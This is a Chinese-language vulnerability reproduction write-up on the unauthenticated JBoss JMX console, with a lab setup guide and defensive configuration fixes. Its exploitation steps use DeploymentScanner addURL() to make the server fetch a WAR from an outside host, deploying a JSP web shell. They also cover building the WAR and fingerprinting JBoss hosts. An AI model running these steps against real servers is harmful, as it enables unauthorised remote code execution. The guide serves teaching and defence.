JBoss简介

​ Jboss是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

默认端口:8080

下载地址:https://jbossas.jboss.org/downloads/

漏洞描述

​ 此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到jmx控制台,并在其中执行任何功能。该漏洞利用的是后台中jboss.deployment -> DeploymentScanner -> addURL()方法,传入带有war包的HTTP地址,当服务器访问时便会上传shell。

但是,上传shell的文件只是一个映射文件,

当url一旦无法访问或者内部资源丢失,则服务器上的文件也会相应消失。

影响版本

JBoss应用服务器:JBoss 4.x以下

环境复现

java环境:JDK 8以下

在官网下载相应的JBoss版本

配置环境变量

1
2
JBOSS_HOME
C:\xxx(JBoss安装地址)
1
2
PATH
;%JBOSS_HOME%\bin;

外网访问

1
2
3
4
JBoss6: \server\default\deploy\jbossweb.sar\server.xml
JBoss4: \server\default\deploy\jboss-web.deployer\server.xml

将address="${jboss.bind.address}"改成address="0.0.0.0"

启动

1
2
3
JBoss\bin\run.bat

访问http://127.0.0.1:8080

漏洞利用

JBoss漏洞检测

  1. JBoss漏洞检测工具下载

https://github.com/fupinglee/JavaTools/tree/master/JBoss

  1. 先探测是否具有JBoss服务
1
app="jboss"

根据HTTP头部

1
2
3
4
5
6
# http头部显示jboss服务和版本信息
Server: JBoss-EAP/7
# http头部显示,Apache-Coyote 是Tomcat的连接器,被多个Java servlet容器使用作为socket处理组件,有tomcat,jboss等
Server: Apache-Coyote/1.1
# X-Powered-By
X-Powered-By: Servlet 2.4; JBoss-4.2.3.GA

访问如下URL

1
http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL

JBoss文件上传addURL().png

输入带有war包的HTTP地址

http://xxx.com/shell.war

最后点击Invoke上传

上传的路径为JBos/server/default/deploy/management/shell.war/shell.jsp

访问以下URL链接shell

http://127.0.0.1:8080/shell/shell.jsp

制作WAR包

1
jar cvf shell.war shell.jsp
1
压缩shell.jsp成shell.zip,然后shell.zip改名为shell.war

防御措施

  1. 将JBoss后台添加权限,控制访问者对敏感路径访问
1
2
3
jboss\server\default\deploy\jmx-console.war\WEB-INF\jboss-web.xml
# 删除下列代码的注释,添加账号密码访问
<security-domain>java:/jaas/jmx-console</security-domain>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
jboss\server\default\deploy\jmx-console.war\WEB-INF\web.xml
# 删除下列代码的注释,只有拥有系统配置的登录角色JBossAdmin的用户才能访问
<security-constraint>
<web-resource-collection>
<web-resource-name>HtmlAdaptor</web-resource-name>
<description>An example security config that only allows users with the role JBossAdmin to access the HTML JMX console web application
</description>
<url-pattern>/*</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>JBossAdmin</role-name>
</auth-constraint>
</security-constraint>
1
2
3
4
# 这里修改账号密码
jboss\server\default\conf\props\jmx-console-users.properties
# 这里修改账号权限
jboss\server\default\conf\props\jmx-console-roles.properties
  1. 更新到 JBoss 5.1.0 或者6.0.0以上
  2. 若不使用控制平台管理,删除jmx-console.warweb-console.war,在以下路径
1
2
jboss\server\all\deploy\jmx-console.war
jboss\server\default\deploy\jmx-console.war